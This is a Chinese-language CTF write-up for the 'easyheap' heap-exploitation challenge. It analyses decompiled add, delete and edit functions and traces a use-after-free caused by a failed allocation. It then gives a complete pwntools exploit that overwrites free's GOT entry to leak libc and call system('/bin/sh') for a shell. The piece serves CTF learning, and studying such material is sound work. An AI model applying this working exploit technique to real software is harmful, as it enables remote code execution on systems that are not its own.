高校战役easyheap

  刷题过少,导致看起来十分简单的题目当时无从下手。没办法,还是要多刷题找手感。今天想起来上次easyheap没整理,趁机学习一波,看了一下思路,果然没什么新的利用点,就是当时漏洞点没发现。

二进制分析


  这个binary只有三个功能:

  1. add_message
  2. delete_message
  3. edit_message

下面分析一下具体细节: 第一个就是添加一个message结构体,长下面这样:

00000000 message         struc ; (sizeof=0x10, mappedto_6)
00000000 content_ptr     dq ?
00000008 size            dd ?
0000000C padding         dd ?
00000010 message         ends

然后检查一下size后就会分配nbytes大小的空间,存到content_ptr那里,假如nbytes的大小大于1024的话就会申请失败,但是ptr[i]却已经分配过了,return之前却没有free掉。所以这里便是漏洞的关键。

int add_message() {
  message *v1; // rbx
  signed int i; // [rsp+8h] [rbp-18h]
  signed int nbytes; // [rsp+Ch] [rbp-14h]

  for ( i = 0; ptr[i]; ++i )
    ;
  if ( i > 2 )
    return puts("Too many items!");
  ptr[i] = (message *)malloc(0x10uLL);
  puts("How long is this message?");
  nbytes = read_num();
  if ( nbytes > 1024 )
    return puts("Too much size!");
  ptr[i]->size = nbytes;
  v1 = ptr[i];
  v1->content_ptr = (__int64)malloc(nbytes);
  puts("What is the content of the message?");
  read(0, (void *)ptr[i]->content_ptr, (unsigned int)nbytes);
  return puts("Add successfully.");
}

delete就是删除两个chunk,但是size并没有设置为0,又是个漏洞

int delete_message() {
  int v1; // [rsp+Ch] [rbp-4h]

  if ( ++delete_count > 4 )
    return puts("Delete failed.");
  puts("What is the index of the item to be deleted?");
  v1 = read_num();
  if ( v1 < 0 || v1 > 6 || !ptr[v1] )
    return puts("Delete failed.");
  free((void *)ptr[v1]->content_ptr);
  free(ptr[v1]);
  ptr[v1] = 0LL;
  return puts("Delete successfully.");
}

edit就是可以重写size个byte的内容到content里

int edit_message() {
  int v1; // [rsp+Ch] [rbp-4h]

  if ( ++edit_count > 6 )
    return puts("Delete failed.");
  puts("What is the index of the item to be modified?");
  v1 = read_num();
  if ( v1 < 0 || v1 > 6 || !ptr[v1] )
    return puts("Edit failed.");
  puts("What is the content of the message?");
  read(0, (void *)ptr[v1]->content_ptr, (unsigned int)ptr[v1]->size);
  return puts("Edit successfully.");
}

利用思路


其实利用方法上也没有啥新的花样,无非是想办法构造任意写,由于刷题过少导致根本没有思路…

  1. 首先分配0x20, 0x80, 0x20三个message
  2. 然后free掉0 1,此时bins构造如下:
    fastbins
    0x20: 0x119e050 —▸ 0x119e000 ◂— 0x0
    0x30: 0x119e020 ◂— 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x119e070 —▸ 0x7f0a19860b78 (main_arena+88) ◂— 0x119e070
    smallbins
    empty
    largebins
    empty
    
  3. add一个0x401的message,导致分配失败,此时ptr[0]中便是0x119e050,这里比较骚的是ptr[0]->content_ptr == 0x119e000,因为ptr[0]的fd指针仍指向前一个chunk,形成uaf。并且ptr[0]->size == 0x80
  4. add一个0x20,此时便有两个指针指向*ptr[1],即ptr[0]->content_ptrptr[1],此时我们便可以通过edit(0)来覆盖ptr[1]->content_ptr实现任意写.由于ptr[0]在高地址,因此顺便可以覆盖ptr[0]->content_ptr为puts_got,用于泄漏libc。
  5. 通过任意写将free_got覆盖成puts_plt实现任意读,通过delete(0)泄露puts_got
  6. 再次edit修改free_got为system,并将*ptr[2]->content_ptr写为/bin/sh\x00
  7. delete(2)实现getshell

下面是exp,也算是比较巧的利用了:

#_*_coding:utf-8_*_
from pwn import *
import base64
local = 1
context.log_level = "debug"
context.terminal=['tmux','split','-h']
if local:
    p = process("./easyheap")
    elf = ELF("./easyheap")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote("121.36.209.145",9997)
    elf = ELF("./easyheap")
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,data):
    p.recvuntil("Your choice:\n")
    p.sendline("1")
    p.recvuntil("How long is this message?\n")
    p.sendline(str(size))
    p.recvuntil("What is the content of the message?\n")
    p.send(data)

def delete(index):    
    p.recvuntil("Your choice:\n")
    p.sendline("2")
    p.recvuntil("What is the index of the item to be deleted?\n")
    p.sendline(str(index))
    
def edit(index,content):
    p.recvuntil("Your choice:\n")
    p.sendline("3")
    p.recvuntil("What is the index of the item to be modified?\n")
    p.sendline(str(index))
    p.recvuntil("What is the content of the message?\n")
    p.send(content)

free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
add(0x20,"\n") #0
add(0x80,"\n") #1
add(0x20,"\n") #2
#gdb.attach(p)
delete(0)
#gdb.attach(p)
delete(1)
gdb.attach(p)
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("How long is this message?\n")
p.sendline(str(1030)) #0 *struct 
# gdb.attach(p)

add(0x20,"\n")#1 
#gdb.attach(p)

#free_got = 0x602018
payload = p64(0)+p64(0x21)+p64(free_got)+p64(0x20)+p64(0)+p64(0x31)+p64(0)*4
payload += p64(0)+p64(0x21)+p64(puts_got)+p64(0x80)
edit(0,payload+"\n")
#gdb.attach(p)
edit(1,p64(puts_plt))
delete(0)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#print hex(puts_addr)
libc_base = puts_addr-libc.symbols["puts"]
print hex(libc_base)
print hex(puts_got)

#gdb.attach(p)

sys = libc_base + libc.sym['system']
edit(1,p64(sys))
#gdb.attach(p)
edit(2,'/bin/sh\x00')

delete(2)

p.interactive()

总结


  1. 实现任意写不一定老是想着double free啥的构造双链表,只要有双指针好像都可以
  2. 注意fastbin的LIFO特性,往往后分配的chunk造成的overflow可以overwrite先分配的chunk
  3. 一定要记得我们的终极目标,无非是任意读和任意写,还是要靠刷题积累套路…